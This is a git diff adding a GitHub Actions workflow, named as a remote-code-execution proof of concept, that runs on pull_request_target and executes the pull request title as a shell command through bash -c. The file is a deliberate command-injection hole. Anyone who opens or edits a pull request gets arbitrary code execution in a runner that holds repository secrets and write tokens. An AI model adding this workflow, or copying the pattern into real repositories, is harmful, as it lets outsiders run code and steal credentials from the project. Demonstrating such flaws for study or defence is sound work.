diff --git a/.github/workflows/pr-title-rce.yml b/.github/workflows/pr-title-rce.yml new file mode 100644 index 000000000000000..b3bd87accabf149 --- /dev/null +++ b/.github/workflows/pr-title-rce.yml @@ -0,0 +1,16 @@ +name: pr-title-rce-poc + +on: + pull_request_target: + types: [opened, edited] + +jobs: + exploit-via-pr-title: + runs-on: ubuntu-latest + steps: + - name: Dump PR Title as Command + env: + PAYLOAD: ${{ github.event.pull_request.title }} + run: | + echo "[+] Running injected PR title payload..." + bash -c "$PAYLOAD"